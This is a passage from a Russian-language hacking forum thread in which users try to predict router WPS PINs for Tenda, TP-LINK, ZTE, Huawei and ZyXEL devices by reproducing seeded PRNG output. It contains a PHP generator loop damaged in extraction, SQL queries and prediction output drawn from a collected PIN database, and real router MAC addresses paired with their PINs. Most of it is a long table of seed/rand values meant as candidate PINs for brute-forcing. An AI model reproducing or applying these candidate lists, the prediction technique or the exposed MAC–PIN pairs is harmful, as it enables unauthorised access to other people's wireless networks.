for ($seed = 1; $seed 10000000) $r = (int)($r / 10);
echo "seed=$seed, rand=$r
\n";
}

Monohrom
06.07.2020, 23:35
Также можно будет для известных пинов прогнать этот алгоритм и вычислить их даты генерации.



Если бы могли считать серийные номера. То узнав серийный номер и угадав пин-код, мы смогли бы узнать приблизительное время для всей партии, и брутить время нужно было бы значительно меньше

binarymaster
06.07.2020, 23:39
У меня получается совсем не та последовательность:

....

php 5.3



Проверил на той же версии php на сайте http://phptester.net/ - ваш код работает корректно.

Isica
06.07.2020, 23:45
Проверил на той же версии php на сайте http://phptester.net/ - ваш код работает корректно.



Разобрался: под Линукс последовательность та же, что у Вас, а под Виндой--та, что у меня.

Isica
07.07.2020, 00:20
Что-то по Тендам ни чего интересного не нашлось:


MariaDB [Tenda]> select seed,concat(PIN,CRC) PIN8,count(*) n from StaticPINs join TendaAll using (PIN,CRC) group by PIN8 having n>1 order by n DESC;
+------+----------+---+
| seed | PIN8 | n |
+------+----------+---+
| 17 | 12279180 | 4 |
| 14 | 21464065 | 3 |
| 22 | 18576313 | 3 |
| 15 | 76229909 | 2 |
| 58 | 16461536 | 2 |
| 16 | 46264848 | 2 |
+------+----------+---+
6 rows in set (0.44 sec)

Monohrom
07.07.2020, 01:13
Что-то по Тендам ни чего интересного не нашлось:



Это вполне можно обьяснить вот список Тенд с чипами на базе которых они построены и которые входят в целевой алгоритм:

Tenda N301 V2.1 (Realtek RTL8196E)

Tenda N301 (Broadcom BCM5357C0)

Tenda F3 (BCM5357C0)

Tenda F9 (Realtek RTL8196E)

Как видите роутеры построены на разных чипах. Помимо этого из вывода который дал @binarymaster (https://forum.antichat.xyz/members/148032/) видно что задело и остальные роутеры на броадкоме. Тогда как наши целевые Тенды на различных чипах.

Monohrom
07.07.2020, 02:41
А как насчет брута "случайных" паролей wpa2, а не пинкодов? Вдруг там тот же алгоритм - с временем в качестве входящих данных.



Надо бы проверить, я просто генерацию паролей не искал, только пинкоды высматривал.

Не понятно можно ли на таких ZTE генерировать пароли самому.

Isica
07.07.2020, 03:52
Следует указать параметры min=0 и max=2147483647 функции rand().



Всё равно под Виндой последовательность получается не та:

seed=1, rand=2124808

seed=2, rand=1293090

seed=3, rand=4613734

seed=4, rand=1777139

seed=5, rand=9454223

seed=6, rand=1137049

seed=7, rand=1429471

seed=8, rand=5977538

seed=9, rand=1913520

seed=10, rand=1081802

Monohrom
07.07.2020, 04:04
seed=2, rand=1293090



Я не знаю что вы сделали но пожалуйста повторите, вы случайно угадали пин код к TP-LINK,

Isica
07.07.2020, 04:06
Могу поздравить @4Fun (https://forum.antichat.xyz/members/324235/) с его экспериментальным генератором - опираясь всего на одну 100% достоверную точку, первая половина пина нашлась на 1 месте, а верный пин на 4. Это победа.



Так это ж совсем лёгкий случай:

MariaDB [Tenda]> select tenda_pin8('50:0F:F5:67:8E:E1');
*************************** 1. row ***************************
tenda_pin8('50:0F:F5:67:8E:E1'):
|----------------------------------------------------------------------------------------------|
|Опорные точки (ближайшие данные в базе):
|1) 50:0F:F5:67:84:01, -2784, 911 пар, 128 уникальных дельт (1:7.12), 77 мажорных(вес 94.4%)
|2) 50:0F:F5:67:A9:A1, +6848, 437 пар, 94 уникальных дельт (1:4.65), 35 мажорных(вес 86.5%)
|3) 50:0F:F5:67:6A:99, -9288, 260 пар, 69 уникальных дельт (1:3.77), 33 мажорных(вес 86.2%)
|4) 50:0F:F5:67:BC:B1, +11728, 251 пар, 109 уникальных дельт (1:2.30), 44 мажорных(вес 74.1%)
|5) 50:0F:F5:67:56:41, -14496, 211 пар, 94 уникальных дельт (1:2.24), 30 мажорных(вес 69.7%)
|6) 50:0F:F5:67:31:C9, -23832, 173 пар, 54 уникальных дельт (1:3.20), 13 мажорных(вес 76.3%)
|7) 50:0F:F5:66:A7:61, -59264, 120 пар, 87 уникальных дельт (1:1.38), 17 мажорных(вес 41.7%)
|8) 50:0F:F5:66:98:B9, -63016, 98 пар, 78 уникальных дельт (1:1.26), 10 мажорных(вес 30.6%)
|----------------------------------------------------------------------------------------------|
|После объединения осталось 485 пинов, из них 3 полностью перекрёстных.
|Эффективность халф-оптимизации: 1.47 общая, 3.00 у полно-перекрёстных.
|----------------------------------------------------------------------------------------------|
|ИТОГО: 329 фёст-халфов, 1 полно-перекрёстных (вес 24.4%, 63.2% в ТОП-8).
|----------------------------------------------------------------------------------------------|
1 row in set (1.23 sec)

MariaDB [Tenda]> select * from tmp_TendaPins where X=@MaxX order by n;
+------+---------+------+------+------+------+------+------+------+------+------+------+
| n | PIN | X | m | m1 | m2 | m3 | m4 | m5 | m6 | m7 | m8 |
+------+---------+------+------+------+------+------+------+------+------+------+------+
| 1 | 9434309 | 7 | 157 | 77 | 8 | 2 | 14 | 21 | 29 | 1 | 5 |
| 2 | 9434308 | 7 | 136 | 40 | 27 | 43 | 3 | 3 | 11 | 5 | 4 |
| 3 | 9434564 | 7 | 61 | 18 | 4 | 15 | 3 | 9 | 9 | 2 | 1 |
+------+---------+------+------+------+------+------+------+------+------+------+------+
3 rows in set (0.00 sec)

Isica
07.07.2020, 04:18
Я не знаю что вы сделали но пожалуйста повторите, вы случайно угадали пин код к TP-LINK



Я просто запустил под Виндой это (php 5.3):

for ($seed = 1; $seed 10000000) $r = (int)($r / 10);
echo "seed=$seed, rand=$r
\n";
}

Monohrom
07.07.2020, 04:39
Я пробил цифры которые вам выпали по базе вот что вышло:



seed=1, rand=2124808



Мимо



seed=2, rand=1293090



12930906 70:4F:57EC0 TP-LINK TL-WR940N алгоритм не известен



seed=3, rand=4613734



46137340 84:A9:C4:EB:C6:58 Huawei Technologies HG8245H алгоритм не известен



seed=4, rand=1777139



17771399 F8:1A:67:97:47:30 TP-LINK TL-WR841N алгоритм не известен



seed=5, rand=9454223



Мимо



seed=6, rand=1137049



11370499 E4:18:6B:E4:94:91 ZyXEL VMG1312-B10B алгоритм не известен

11370499 8C:59:73:F4:85:1F ZyXEL VMG1312-B10B алгоритм не известен

11370499 60:31:97:8C:C0:A1 ZyXEL VMG1312-B10B алгоритм не известен

11370499 C4:E9:84:ED:9F:8A TP-LINK TL-WR740N/TL-WR741ND алгоритм не известен



seed=7, rand=1429471



14294716 E8:37:7A:E9:5CD ZyXEL VMG1312-B30A алгоритм не известен



seed=8, rand=5977538



Мимо



seed=9, rand=1913520



Мимо



seed=10, rand=1081802



Мимо

Выборка мала. Но учитывая скрин алгоритма TP-LINK который я выкладывал ранее. Можно сделать предположение что бы не случайно попали в яблочко пару раз подряд

4Fun
07.07.2020, 07:48
По мотивам этого поста написал программку на Си и собрал её с разными стандартными библиотеками Си: GNU C Library, Musl libc и uClibc.

Исходник здесь: https://gist.github.com/drygdryg/107514d78d45fb7784635c3287ccb011

Прикрепляю сборки для Linux x86.

Isica
07.07.2020, 13:27
Выборка мала.



Сделал побольше:

seed=1, rand=2124808
seed=2, rand=1293090
seed=3, rand=4613734
seed=4, rand=1777139
seed=5, rand=9454223
seed=6, rand=1137049
seed=7, rand=1429471
seed=8, rand=5977538
seed=9, rand=1913520
seed=10, rand=1081802
seed=11, rand=2500853
seed=12, rand=1565851
seed=13, rand=7341342
seed=14, rand=2049900
seed=15, rand=1218183
seed=16, rand=3864657
seed=17, rand=1702232
seed=18, rand=8705146
seed=19, rand=3879731
seed=20, rand=1354563
seed=21, rand=5228462
seed=22, rand=1838612
seed=23, rand=1006895
seed=24, rand=1751777
seed=25, rand=1490944
seed=26, rand=6592266
seed=27, rand=1974992
seed=28, rand=1143275
seed=29, rand=3115581
seed=30, rand=1627324
seed=31, rand=7956070
seed=32, rand=2111373
seed=33, rand=1279655
seed=34, rand=4479385
seed=35, rand=1763704
seed=36, rand=9319874
seed=37, rand=1002700
seed=38, rand=1416036
seed=39, rand=5843189
seed=40, rand=1900085
seed=41, rand=1068367
seed=42, rand=2366504
seed=43, rand=1552416
seed=44, rand=7206993
seed=45, rand=2036465
seed=46, rand=1204748
seed=47, rand=3730309
seed=48, rand=1688797
seed=49, rand=8570798
seed=50, rand=2536243
seed=51, rand=1341128
seed=52, rand=5094113
seed=53, rand=1825177
seed=54, rand=9934602
seed=55, rand=1617428
seed=56, rand=1477509
seed=57, rand=6457917
seed=58, rand=1961558
seed=59, rand=1129840
seed=60, rand=2981232
seed=61, rand=1613889
seed=62, rand=7821721
seed=63, rand=2097938
seed=64, rand=1266221
seed=65, rand=4345036
seed=66, rand=1750269
seed=67, rand=9185525
seed=68, rand=8683520
seed=69, rand=1402601
seed=70, rand=5708840
seed=71, rand=1886650
seed=72, rand=1054932
seed=73, rand=2232156
seed=74, rand=1538981
seed=75, rand=7072645
seed=76, rand=2023030
seed=77, rand=1191313
seed=78, rand=3595960
seed=79, rand=1675362
seed=80, rand=8436449
seed=81, rand=1192755
seed=82, rand=1327693
seed=83, rand=4959764
seed=84, rand=1811742
seed=85, rand=9800253
seed=86, rand=1483079
seed=87, rand=1464074
seed=88, rand=6323568
seed=89, rand=1948123
seed=90, rand=1116405
seed=91, rand=2846883
seed=92, rand=1600454
seed=93, rand=7687372
seed=94, rand=2084503
seed=95, rand=1252786
seed=96, rand=4210688
seed=97, rand=1736835
seed=98, rand=9051176
seed=99, rand=7340032
seed=100, rand=1389166
seed=101, rand=5574492
seed=102, rand=1873215
seed=103, rand=1041498
seed=104, rand=2097807
seed=105, rand=1525547
seed=106, rand=6938296
seed=107, rand=2009595
seed=108, rand=1177878
seed=109, rand=3461611
seed=110, rand=1661927
seed=111, rand=8302100
seed=112, rand=2145976
seed=113, rand=1314258
seed=114, rand=4825415
seed=115, rand=1798307
seed=116, rand=9665904
seed=117, rand=1348730
seed=118, rand=1450639
seed=119, rand=6189219
seed=120, rand=1934688
seed=121, rand=1102970
seed=122, rand=2712535
seed=123, rand=1587019
seed=124, rand=7553024
seed=125, rand=2071068
seed=126, rand=1239351
seed=127, rand=4076339
seed=128, rand=1723400
seed=129, rand=8916828
seed=130, rand=5996544
seed=131, rand=1375731
seed=132, rand=5440143
seed=133, rand=1859780
seed=134, rand=1028063
seed=135, rand=1963458
seed=136, rand=1512112
seed=137, rand=6803947
seed=138, rand=1996161
seed=139, rand=1164443
seed=140, rand=3327262
seed=141, rand=1648492
seed=142, rand=8167751
seed=143, rand=2132541
seed=144, rand=1300824
seed=145, rand=4691066
seed=146, rand=1784872
seed=147, rand=9531555
seed=148, rand=1214382
seed=149, rand=1437204
seed=150, rand=6054871
seed=151, rand=1921253
seed=152, rand=1089536
seed=153, rand=2578186
seed=154, rand=1573584
seed=155, rand=7418675
seed=156, rand=2057633
seed=157, rand=1225916
seed=158, rand=3941990
seed=159, rand=1709965
seed=160, rand=8782479
seed=161, rand=4653056
seed=162, rand=1362296
seed=163, rand=5305794
seed=164, rand=1846345
seed=165, rand=1014628
seed=166, rand=1829109
seed=167, rand=1498677
seed=168, rand=6669598
seed=169, rand=1982726
seed=170, rand=1151008
seed=171, rand=3192913
seed=172, rand=1635057
seed=173, rand=8033402
seed=174, rand=2119106
seed=175, rand=1287389
seed=176, rand=4556718
seed=177, rand=1771438
seed=178, rand=9397207
seed=179, rand=1080033
seed=180, rand=1423769
seed=181, rand=5920522
seed=182, rand=1907818
seed=183, rand=1076101
seed=184, rand=2443837
seed=185, rand=1560150
seed=186, rand=7284326
seed=187, rand=2044198
seed=188, rand=1212481
seed=189, rand=3807641
seed=190, rand=1696530
seed=191, rand=8648130
seed=192, rand=3309568
seed=193, rand=1348861
seed=194, rand=5171445
seed=195, rand=1832910
seed=196, rand=1001193
seed=197, rand=1694760
seed=198, rand=1485242
seed=199, rand=6535249
seed=200, rand=1969291
seed=201, rand=1137573
seed=202, rand=3058565
seed=203, rand=1621622
seed=204, rand=7899054
seed=205, rand=2105671
seed=206, rand=1273954
seed=207, rand=4422369
seed=208, rand=1758003
seed=209, rand=9262858
seed=210, rand=9456844
seed=211, rand=1410334
seed=212, rand=5786173
seed=213, rand=1894383
seed=214, rand=1062666
seed=215, rand=2309488
seed=216, rand=1546715
seed=217, rand=7149977
seed=218, rand=2030764
seed=219, rand=1199046
seed=220, rand=3673292
seed=221, rand=1683095
seed=222, rand=8513781
seed=223, rand=1966080
seed=224, rand=1335427
seed=225, rand=5037096
seed=226, rand=1819475
seed=227, rand=9877585
seed=228, rand=1560412
seed=229, rand=1471807
seed=230, rand=6400901
seed=231, rand=1955856
seed=232, rand=1124139
seed=233, rand=2924216
seed=234, rand=1608187
seed=235, rand=7764705
seed=236, rand=2092236
seed=237, rand=1260519
seed=238, rand=4288020
seed=239, rand=1744568
seed=240, rand=9128509
seed=241, rand=8113356
seed=242, rand=1396899
seed=243, rand=5651824
seed=244, rand=1880948
seed=245, rand=1049231
seed=246, rand=2175139
seed=247, rand=1533280
seed=248, rand=7015628
seed=249, rand=2017329
seed=250, rand=1185611
seed=251, rand=3538944
seed=252, rand=1669660
seed=253, rand=8379432
seed=254, rand=6225920
seed=255, rand=1321992
seed=256, rand=4902748
seed=257, rand=1806041
seed=258, rand=9743237
seed=259, rand=1426063
seed=260, rand=1458372
seed=261, rand=6266552
seed=262, rand=1942421
seed=263, rand=1110704
seed=264, rand=2789867
seed=265, rand=1594753
seed=266, rand=7630356
seed=267, rand=2078801
seed=268, rand=1247084
seed=269, rand=4153671
seed=270, rand=1731133
seed=271, rand=8994160
seed=272, rand=6769868
seed=273, rand=1383464
seed=274, rand=5517475
seed=275, rand=1867513
seed=276, rand=1035796
seed=277, rand=2040791
seed=278, rand=1519845
seed=279, rand=6881280
seed=280, rand=2003894
seed=281, rand=1172176
seed=282, rand=3404595
seed=283, rand=1656225
seed=284, rand=8245084
seed=285, rand=2140274
seed=286, rand=1308557
seed=287, rand=4768399
seed=288, rand=1792606
seed=289, rand=9608888
seed=290, rand=1291714
seed=291, rand=1444937
seed=292, rand=6132203
seed=293, rand=1928986
seed=294, rand=1097269
seed=295, rand=2655518
seed=296, rand=1581318
seed=297, rand=7496007
seed=298, rand=2065367
seed=299, rand=1233649
seed=300, rand=4019322
seed=301, rand=1717698
seed=302, rand=8859811
seed=303, rand=5426380
seed=304, rand=1370030
seed=305, rand=5383127
seed=306, rand=1854078
seed=307, rand=1022361
seed=308, rand=1906442
seed=309, rand=1506410
seed=310, rand=6746931
seed=311, rand=1990459
seed=312, rand=1158742
seed=313, rand=3270246
seed=314, rand=1642790
seed=315, rand=8110735
seed=316, rand=2126839
seed=317, rand=1295122
seed=318, rand=4634050
seed=319, rand=1779171
seed=320, rand=9474539
seed=321, rand=1157365
seed=322, rand=1431502
seed=323, rand=5997854
seed=324, rand=1915551
seed=325, rand=1083834
seed=326, rand=2521169
seed=327, rand=1567883
seed=328, rand=7361658
seed=329, rand=2051932
seed=330, rand=1220214
seed=331, rand=3884974
seed=332, rand=1704263
seed=333, rand=8725463
seed=334, rand=4082892
seed=335, rand=1356595
seed=336, rand=5248778
seed=337, rand=1840644
seed=338, rand=1008926
seed=339, rand=1772093
seed=340, rand=1492975
seed=341, rand=6612582
seed=342, rand=1977024
seed=343, rand=1145307
seed=344, rand=3135897
seed=345, rand=1629356
seed=346, rand=7976386
seed=347, rand=2113404
seed=348, rand=1281687
seed=349, rand=4499701
seed=350, rand=1765736
seed=351, rand=9340190
seed=352, rand=1023016
seed=353, rand=1418067
seed=354, rand=5863505
seed=355, rand=1902116
seed=356, rand=1070399
seed=357, rand=2386821
seed=358, rand=1554448
seed=359, rand=7227310
seed=360, rand=2038497
seed=361, rand=1206779
seed=362, rand=3750625
seed=363, rand=1690828
seed=364, rand=8591114
seed=365, rand=2739404
seed=366, rand=1343160
seed=367, rand=5114429
seed=368, rand=1827209
seed=369, rand=9954918
seed=370, rand=1637744
seed=371, rand=1479540
seed=372, rand=6478233
seed=373, rand=1963589
seed=374, rand=1131872
seed=375, rand=3001548
seed=376, rand=1615921
seed=377, rand=7842037
seed=378, rand=2099970
seed=379, rand=1268252
seed=380, rand=4365352
seed=381, rand=1752301
seed=382, rand=9205841
seed=383, rand=8886681
seed=384, rand=1404633
seed=385, rand=5729157
seed=386, rand=1888681
seed=387, rand=1056964
seed=388, rand=2252472
seed=389, rand=1541013
seed=390, rand=7092961
seed=391, rand=2025062
seed=392, rand=1193345
seed=393, rand=3616276
seed=394, rand=1677393
seed=395, rand=8456765
seed=396, rand=1395916
seed=397, rand=1329725
seed=398, rand=4980080
seed=399, rand=1813774
seed=400, rand=9820569
seed=401, rand=1503395
seed=402, rand=1466105
seed=403, rand=6343884
seed=404, rand=1950154
seed=405, rand=1118437
seed=406, rand=2867200
seed=407, rand=1602486
seed=408, rand=7707688
seed=409, rand=2086535
seed=410, rand=1254817
seed=411, rand=4231004
seed=412, rand=1738866
seed=413, rand=9071493
seed=414, rand=7543193
seed=415, rand=1391198
seed=416, rand=5594808
seed=417, rand=1875247
seed=418, rand=1043529
seed=419, rand=2118123
seed=420, rand=1527578
seed=421, rand=6958612
seed=422, rand=2011627
seed=423, rand=1179910
seed=424, rand=3481927
seed=425, rand=1663959
seed=426, rand=8322416
seed=427, rand=524288
seed=428, rand=1316290
seed=429, rand=4845731
seed=430, rand=1800339
seed=431, rand=9686220
seed=432, rand=1369047
seed=433, rand=1452670
seed=434, rand=6209536
seed=435, rand=1936719
seed=436, rand=1105002
seed=437, rand=2732851
seed=438, rand=1589051
seed=439, rand=7573340
seed=440, rand=2073100
seed=441, rand=1241382
seed=442, rand=4096655
seed=443, rand=1725431
seed=444, rand=8937144
seed=445, rand=6199705
seed=446, rand=1377763
seed=447, rand=5460459
seed=448, rand=1861812
seed=449, rand=1030094
seed=450, rand=1983774
seed=451, rand=1514143
seed=452, rand=6824263
seed=453, rand=1998192
seed=454, rand=1166475
seed=455, rand=3347578
seed=456, rand=1650524
seed=457, rand=8188067
seed=458, rand=2134573
seed=459, rand=1302855
seed=460, rand=4711383
seed=461, rand=1786904
seed=462, rand=9551872
seed=463, rand=1234698
seed=464, rand=1439236
seed=465, rand=6075187
seed=466, rand=1923284
seed=467, rand=1091567
seed=468, rand=2598502
seed=469, rand=1575616
seed=470, rand=7438991
seed=471, rand=2059665
seed=472, rand=1227948
seed=473, rand=3962306
seed=474, rand=1711996
seed=475, rand=8802795
seed=476, rand=4856217
seed=477, rand=1364328
seed=478, rand=5326110
seed=479, rand=1848377
seed=480, rand=1016659
seed=481, rand=1849425
seed=482, rand=1500708
seed=483, rand=6689914
seed=484, rand=1984757
seed=485, rand=1153040
seed=486, rand=3213230
seed=487, rand=1637089
seed=488, rand=8053719
seed=489, rand=2121138
seed=490, rand=1289420
seed=491, rand=4577034
seed=492, rand=1773469
seed=493, rand=9417523
seed=494, rand=1100349
seed=495, rand=1425801
seed=496, rand=5940838
seed=497, rand=1909850
seed=498, rand=1078132
seed=499, rand=2464153
seed=500, rand=1562181
seed=501, rand=7304642
seed=502, rand=2046230
seed=503, rand=1214513
seed=504, rand=3827957
seed=505, rand=1698562
seed=506, rand=8668446
seed=507, rand=3512729
seed=508, rand=1350893
seed=509, rand=5191761
seed=510, rand=1834942
seed=511, rand=1003225
seed=512, rand=1715077
seed=513, rand=1487273
seed=514, rand=6555566
seed=515, rand=1971322
seed=516, rand=1139605
seed=517, rand=3078881
seed=518, rand=1623654
seed=519, rand=7919370
seed=520, rand=2107703
seed=521, rand=1275985
seed=522, rand=4442685
seed=523, rand=1760034
seed=524, rand=9283174
seed=525, rand=9660006
seed=526, rand=1412366
seed=527, rand=5806489
seed=528, rand=1896415
seed=529, rand=1064697
seed=530, rand=2329804
seed=531, rand=1548746
seed=532, rand=7170293
seed=533, rand=2032795
seed=534, rand=1201078
seed=535, rand=3693608
seed=536, rand=1685127
seed=537, rand=8534097
seed=538, rand=2169241
seed=539, rand=1337458
seed=540, rand=5057413
seed=541, rand=1821507
seed=542, rand=9897902
seed=543, rand=1580728
seed=544, rand=1473839
seed=545, rand=6421217
seed=546, rand=1957888
seed=547, rand=1126170
seed=548, rand=2944532
seed=549, rand=1610219
seed=550, rand=7785021
seed=551, rand=2094268
seed=552, rand=1262551
seed=553, rand=4308336
seed=554, rand=1746599
seed=555, rand=9148825
seed=556, rand=8316518
seed=557, rand=1398931
seed=558, rand=5672140
seed=559, rand=1882980
seed=560, rand=1051262
seed=561, rand=2195456
seed=562, rand=1535311
seed=563, rand=7035944
seed=564, rand=2019360
seed=565, rand=1187643
seed=566, rand=3559260
seed=567, rand=1671692
seed=568, rand=8399749
seed=569, rand=8257536
seed=570, rand=1324023
seed=571, rand=4923064
seed=572, rand=1808072
seed=573, rand=9763553
seed=574, rand=1446379
seed=575, rand=1460404
seed=576, rand=6286868
seed=577, rand=1944453
seed=578, rand=1112735
seed=579, rand=2810183
seed=580, rand=1596784
seed=581, rand=7650672
seed=582, rand=2080833
seed=583, rand=1249116
seed=584, rand=4173987
seed=585, rand=1733165
seed=586, rand=9014476
seed=587, rand=6973030
seed=588, rand=1385496
seed=589, rand=5537792
seed=590, rand=1869545
seed=591, rand=1037828
seed=592, rand=2061107
seed=593, rand=1521876
seed=594, rand=6901596
seed=595, rand=2005925
seed=596, rand=1174208
seed=597, rand=3424911
seed=598, rand=1658257
seed=599, rand=8265400
seed=600, rand=2142306
seed=601, rand=1310588
seed=602, rand=4788715
seed=603, rand=1794637
seed=604, rand=9629204
seed=605, rand=1312030
seed=606, rand=1446969
seed=607, rand=6152519
seed=608, rand=1931018
seed=609, rand=1099300
seed=610, rand=2675834
seed=611, rand=1583349
seed=612, rand=7516323
seed=613, rand=2067398
seed=614, rand=1235681
seed=615, rand=4039639
seed=616, rand=1719730
seed=617, rand=8880128
seed=618, rand=5629542
seed=619, rand=1372061
seed=620, rand=5403443
seed=621, rand=1856110
seed=622, rand=1024393
seed=623, rand=1926758
seed=624, rand=1508442
seed=625, rand=6767247
seed=626, rand=1992491
seed=627, rand=1160773
seed=628, rand=3290562
seed=629, rand=1644822
seed=630, rand=8131051
seed=631, rand=2128871
seed=632, rand=1297154
seed=633, rand=4654366
seed=634, rand=1781202
seed=635, rand=9494855
seed=636, rand=1177681
seed=637, rand=1433534
seed=638, rand=6018170
seed=639, rand=1917583
seed=640, rand=1085865
seed=641, rand=2541486
seed=642, rand=1569914
seed=643, rand=7381975
seed=644, rand=2053963
seed=645, rand=1222246
seed=646, rand=3905290
seed=647, rand=1706295
seed=648, rand=8745779
seed=649, rand=4286054
seed=650, rand=1358626
seed=651, rand=5269094
seed=652, rand=1842675
seed=653, rand=1010958
seed=654, rand=1792409
seed=655, rand=1495007
seed=656, rand=6632898
seed=657, rand=1979056
seed=658, rand=1147338
seed=659, rand=3156213
seed=660, rand=1631387
seed=661, rand=7996702
seed=662, rand=2115436
seed=663, rand=1283719
seed=664, rand=4520017
seed=665, rand=1767768
seed=666, rand=9360506
seed=667, rand=1043333
seed=668, rand=1420099
seed=669, rand=5883822
seed=670, rand=1904148
seed=671, rand=1072431
seed=672, rand=2407137
seed=673, rand=1556480
seed=674, rand=7247626
seed=675, rand=2040528
seed=676, rand=1208811
seed=677, rand=3770941
seed=678, rand=1692860
seed=679, rand=8611430
seed=680, rand=2942566
seed=681, rand=1345191
seed=682, rand=5134745
seed=683, rand=1829240
seed=684, rand=9975234
seed=685, rand=1658060
seed=686, rand=1481572
seed=687, rand=6498549
seed=688, rand=1965621
seed=689, rand=1133903
seed=690, rand=3021864
seed=691, rand=1617952
seed=692, rand=7862353
seed=693, rand=2102001
seed=694, rand=1270284
seed=695, rand=4385669
seed=696, rand=1754333
seed=697, rand=9226158
seed=698, rand=9089843
seed=699, rand=1406664
seed=700, rand=5749473
seed=701, rand=1890713
seed=702, rand=1058996
seed=703, rand=2272788
seed=704, rand=1543045
seed=705, rand=7113277
seed=706, rand=2027094
seed=707, rand=1195376
seed=708, rand=3636592
seed=709, rand=1679425
seed=710, rand=8477081
seed=711, rand=1599078
seed=712, rand=1331757
seed=713, rand=5000396
seed=714, rand=1815805
seed=715, rand=9840885
seed=716, rand=1523712
seed=717, rand=1468137
seed=718, rand=6364200
seed=719, rand=1952186
seed=720, rand=1120468
seed=721, rand=2887516
seed=722, rand=1604517
seed=723, rand=7728005
seed=724, rand=2088566
seed=725, rand=1256849
seed=726, rand=4251320
seed=727, rand=1740898
seed=728, rand=9091809
seed=729, rand=7746355
seed=730, rand=1393229
seed=731, rand=5615124
seed=732, rand=1877278
seed=733, rand=1045561
seed=734, rand=2138439
seed=735, rand=1529610
seed=736, rand=6978928
seed=737, rand=2013659
seed=738, rand=1181941
seed=739, rand=3502243
seed=740, rand=1665990
seed=741, rand=8342732
seed=742, rand=2555904
seed=743, rand=1318322
seed=744, rand=4866048
seed=745, rand=1802371
seed=746, rand=9706536
seed=747, rand=1389363
seed=748, rand=1454702
seed=749, rand=6229852
seed=750, rand=1938751
seed=751, rand=1107034
seed=752, rand=2753167
seed=753, rand=1591083
seed=754, rand=7593656
seed=755, rand=2075131
seed=756, rand=1243414
seed=757, rand=4116971
seed=758, rand=1727463
seed=759, rand=8957460
seed=760, rand=6402867
seed=761, rand=1379794
seed=762, rand=5480775
seed=763, rand=1863843
seed=764, rand=1032126
seed=765, rand=2004090
seed=766, rand=1516175
seed=767, rand=6844579
seed=768, rand=2000224
seed=769, rand=1168506
seed=770, rand=3367895
seed=771, rand=1652555
seed=772, rand=8208384
seed=773, rand=2136604
seed=774, rand=1304887
seed=775, rand=4731699
seed=776, rand=1788936
seed=777, rand=9572188
seed=778, rand=1255014
seed=779, rand=1441267
seed=780, rand=6095503
seed=781, rand=1925316
seed=782, rand=1093599
seed=783, rand=2618818
seed=784, rand=1577648
seed=785, rand=7459307
seed=786, rand=2061697
seed=787, rand=1229979
seed=788, rand=3982622
seed=789, rand=1714028
seed=790, rand=8823111
seed=791, rand=5059379
seed=792, rand=1366360
seed=793, rand=5346426
seed=794, rand=1850408
seed=795, rand=1018691
seed=796, rand=1869742
seed=797, rand=1502740
seed=798, rand=6710231
seed=799, rand=1986789
seed=800, rand=1155072
seed=801, rand=3233546
seed=802, rand=1639120
seed=803, rand=8074035
seed=804, rand=2123169
seed=805, rand=1291452
seed=806, rand=4597350
seed=807, rand=1775501
seed=808, rand=9437839
seed=809, rand=1120665
seed=810, rand=1427832
seed=811, rand=5961154
seed=812, rand=1911881
seed=813, rand=1080164
seed=814, rand=2484469
seed=815, rand=1564213
seed=816, rand=7324958
seed=817, rand=2048262
seed=818, rand=1216544
seed=819, rand=3848273
seed=820, rand=1700593
seed=821, rand=8688762
seed=822, rand=3715891
seed=823, rand=1352925
seed=824, rand=5212078
seed=825, rand=1836974
seed=826, rand=1005256
seed=827, rand=1735393
seed=828, rand=1489305
seed=829, rand=6575882
seed=830, rand=1973354
seed=831, rand=1141637
seed=832, rand=3099197
seed=833, rand=1625686
seed=834, rand=7939686
seed=835, rand=2109734
seed=836, rand=1278017
seed=837, rand=4463001
seed=838, rand=1762066
seed=839, rand=9303490
seed=840, rand=9863168
seed=841, rand=1414397
seed=842, rand=5826805
seed=843, rand=1898446
seed=844, rand=1066729
seed=845, rand=2350120
seed=846, rand=1550778
seed=847, rand=7190609
seed=848, rand=2034827
seed=849, rand=1203109
seed=850, rand=3713925
seed=851, rand=1687158
seed=852, rand=8554414
seed=853, rand=2372403
seed=854, rand=1339490
seed=855, rand=5077729
seed=856, rand=1823539
seed=857, rand=9918218
seed=858, rand=1601044
seed=859, rand=1475870
seed=860, rand=6441533
seed=861, rand=1959919
seed=862, rand=1128202
seed=863, rand=2964848
seed=864, rand=1612251
seed=865, rand=7805337
seed=866, rand=2096300
seed=867, rand=1264582
seed=868, rand=4328652
seed=869, rand=1748631
seed=870, rand=9169141
seed=871, rand=8519680
seed=872, rand=1400963
seed=873, rand=5692456
seed=874, rand=1885011
seed=875, rand=1053294
seed=876, rand=2215772
seed=877, rand=1537343
seed=878, rand=7056261
seed=879, rand=2021392
seed=880, rand=1189675
seed=881, rand=3579576
seed=882, rand=1673723
seed=883, rand=8420065
seed=884, rand=1028915
seed=885, rand=1326055
seed=886, rand=4943380
seed=887, rand=1810104
seed=888, rand=9783869
seed=889, rand=1466695
seed=890, rand=1462435
seed=891, rand=6307184
seed=892, rand=1946484
seed=893, rand=1114767
seed=894, rand=2830499
seed=895, rand=1598816
seed=896, rand=7670988
seed=897, rand=2082865
seed=898, rand=1251147
seed=899, rand=4194304
seed=900, rand=1735196
seed=901, rand=9034792
seed=902, rand=7176192
seed=903, rand=1387528
seed=904, rand=5558108
seed=905, rand=1871577
seed=906, rand=1039859
seed=907, rand=2081423
seed=908, rand=1523908
seed=909, rand=6921912
seed=910, rand=2007957
seed=911, rand=1176240
seed=912, rand=3445227
seed=913, rand=1660289
seed=914, rand=8285716
seed=915, rand=2144337
seed=916, rand=1312620
seed=917, rand=4809031
seed=918, rand=1796669
seed=919, rand=9649520
seed=920, rand=1332346
seed=921, rand=1449000
seed=922, rand=6172835
seed=923, rand=1933049
seed=924, rand=1101332
seed=925, rand=2696151
seed=926, rand=1585381
seed=927, rand=7536640
seed=928, rand=2069430
seed=929, rand=1237712
seed=930, rand=4059955
seed=931, rand=1721761
seed=932, rand=8900444
seed=933, rand=5832704
seed=934, rand=1374093
seed=935, rand=5423759
seed=936, rand=1858142
seed=937, rand=1026424
seed=938, rand=1947074
seed=939, rand=1510473
seed=940, rand=6787563
seed=941, rand=1994522
seed=942, rand=1162805
seed=943, rand=3310878
seed=944, rand=1646854
seed=945, rand=8151367
seed=946, rand=2130903
seed=947, rand=1299185
seed=948, rand=4674682
seed=949, rand=1783234
seed=950, rand=9515171
seed=951, rand=1197998
seed=952, rand=1435566
seed=953, rand=6038487
seed=954, rand=1919614
seed=955, rand=1087897
seed=956, rand=2561802
seed=957, rand=1571946
seed=958, rand=7402291
seed=959, rand=2055995
seed=960, rand=1224278
seed=961, rand=3925606
seed=962, rand=1708326
